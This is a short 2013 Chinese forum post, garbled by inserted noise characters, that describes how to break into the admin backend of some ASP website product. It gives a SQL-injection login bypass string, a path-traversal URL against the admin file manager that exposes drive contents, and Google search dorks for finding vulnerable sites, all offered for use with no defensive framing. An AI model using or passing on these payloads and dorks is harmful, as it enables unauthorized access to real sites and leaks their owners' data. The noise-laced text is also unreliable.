后台万能密码 'or'='or'# `- q' I" p% r
2 E+ U% l# S) j& h后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！! }; h$ }, p! B; P. ^7 {
admin/uploadfile.asp?currentFolder=/upfiles/../& e4 E& E$ C) L
( ^! W: {5 n+ n/ ~8 E漏洞证明：6 `7 B; Z4 G" h
- [' O6 _- N$ `# o
谷歌：inurl:type.asp?id=1 新闻中心1 G" O# p, l8 p4 b* [ m1 b4 C/ m
或者 ：inurl:download_ok.asp?
% H& u# D( r& ~- _% {, l3 L" m3 T
|
发表于 2013-3-14 20:17:32
收藏
支持
反对